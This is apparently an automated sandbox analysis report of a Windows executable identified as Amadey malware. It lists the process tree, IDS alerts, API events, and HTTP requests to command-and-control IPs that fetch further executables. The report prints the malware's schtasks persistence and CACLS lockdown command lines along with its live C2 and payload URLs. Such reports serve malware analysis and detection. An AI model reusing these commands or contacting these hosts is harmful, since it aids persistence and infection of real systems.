Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 2, 2023, 6:26 p.m.	Sept. 2, 2023, 6:29 p.m.

Size	588.5KB
Type	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5	`58bc43389c3e720c0af4ff563d5ed7ce`
SHA256	`4d7a22a1f7d76310b2c8420cb2f02ef4633cb689e4b8eaaab165731b9341163f`
CRC32	`A5D011EC`
ssdeep	`12288:ZR1BzB+BS5RMmF6We5AQtL8Luq2qL5e+iNqajC2UrhOhmfnRl:ZR1BzBGS5RMmF6We5AQKLJ2qjIqa1Ur5`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description)

ummaa.exe "C:\Users\test22\AppData\Local\Temp\ummaa.exe"
1884
- newplayer.exe "C:\Users\test22\AppData\Local\Temp\newplayer.exe"
  2128
  - oneetx.exe "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe"
    2308
    - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
      2372
    - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit
      2440
      - cacls.exe CACLS "oneetx.exe" /P "test22:N"
        2552
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2516
      - cacls.exe CACLS "oneetx.exe" /P "test22:R" /E
        2612
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2660
      - cacls.exe CACLS "..\207aa4515d" /P "test22:N"
        2696
      - cacls.exe CACLS "..\207aa4515d" /P "test22:R" /E
        2756
    - 4t.exe "C:\Users\test22\AppData\Local\Temp\1000304001\4t.exe"
      2328
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
45.9.74.80	Active	Moloch
5.42.65.80	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	A Network Trojan was detected
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.103:49173	2014819	ET INFO Packed Executable Download	Misc activity
TCP 45.9.74.80:80 -> 192.168.56.103:49173	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.9.74.80:80 -> 192.168.56.103:49173	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.103:49173	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2017598	ET MALWARE Possible Kelihos.F EXE Download Common Structure	A Network Trojan was detected
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.103:49173	2014819	ET INFO Packed Executable Download	Misc activity
TCP 45.9.74.80:80 -> 192.168.56.103:49173	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.103:49173	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49176 -> 5.42.65.80:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 5.42.65.80:80 -> 192.168.56.103:49176	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 5.42.65.80:80 -> 192.168.56.103:49176	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 5.42.65.80:80 -> 192.168.56.103:49176	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.103:49173 -> 45.9.74.80:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Sept. 2, 2023, 6:25 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 2, 2023, 6:20 p.m.			0	0
IsDebuggerPresent Sept. 2, 2023, 6:20 p.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 2, 2023, 6:25 p.m.	buffer: SUCCESS: The scheduled task "oneetx.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Sept. 2, 2023, 6:25 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Sept. 2, 2023, 6:25 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Sept. 2, 2023, 6:25 p.m.	buffer: r console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 2, 2023, 6:25 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://45.9.74.80/0bjdn2Z/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.9.74.80/softtool.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.9.74.80/alldata.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://5.42.65.80/4t.exe

Performs some HTTP requests (4 events)

request	POST http://45.9.74.80/0bjdn2Z/index.php
request	GET http://45.9.74.80/softtool.exe
request	GET http://45.9.74.80/alldata.exe
request	GET http://5.42.65.80/4t.exe

Sends data using the HTTP POST Method (1 event)

request

POST http://45.9.74.80/0bjdn2Z/index.php

Allocates read-write-execute memory (usually to unpack itself) (41 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 2, 2023, 6:25 p.m.	process_identifier: 2128 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:26 p.m.	process_identifier: 1236 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004d50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000800000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000970000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2421000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2abb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002110000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000021c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2422000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2424000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2424000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2424000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2424000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92caa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cbc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92dd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92d5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92d86000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92d60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92ccb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cfc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92ccd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 2, 2023, 6:20 p.m.	process_identifier: 2328 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92ca2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

oneetx.exe tried to sleep 122 seconds, actually delayed analysis time by 122 seconds

Creates executable files on the filesystem (5 events)

file	C:\Users\test22\AppData\Local\Temp\1000302001\softtool.exe
file	C:\Users\test22\AppData\Local\Temp\c149ec7a.exe
file	C:\Users\test22\AppData\Local\Temp\1000304001\4t.exe
file	C:\Users\test22\AppData\Local\Temp\1000303001\alldata.exe
file	C:\Users\test22\AppData\Local\Temp\newplayer.exe

Creates a suspicious process (4 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit

Drops a binary and executes it (5 events)

file	C:\Users\test22\AppData\Local\Temp\newplayer.exe
file	C:\Users\test22\AppData\Local\Temp\c149ec7a.exe
file	C:\Users\test22\AppData\Local\Temp\1000302001\softtool.exe
file	C:\Users\test22\AppData\Local\Temp\1000303001\alldata.exe
file	C:\Users\test22\AppData\Local\Temp\1000304001\4t.exe

Drops an executable to the user AppData folder (4 events)

file	C:\Users\test22\AppData\Local\Temp\newplayer.exe
file	C:\Users\test22\AppData\Local\Temp\c149ec7a.exe
file	C:\Users\test22\AppData\Local\Temp\1000303001\alldata.exe
file	C:\Users\test22\AppData\Local\Temp\1000302001\softtool.exe

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Sept. 2, 2023, 6:25 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe	1	1
ShellExecuteExW Sept. 2, 2023, 6:25 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Sept. 2, 2023, 6:25 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW Sept. 2, 2023, 6:25 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000302001\softtool.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000302001\softtool.exe	1	1
ShellExecuteExW Sept. 2, 2023, 6:26 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000303001\alldata.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000303001\alldata.exe	1	1
ShellExecuteExW Sept. 2, 2023, 6:26 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000304001\4t.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000304001\4t.exe	1	1

An executable file was downloaded by the process oneetx.exe (3 events)

Time & API	Arguments	Status	Return
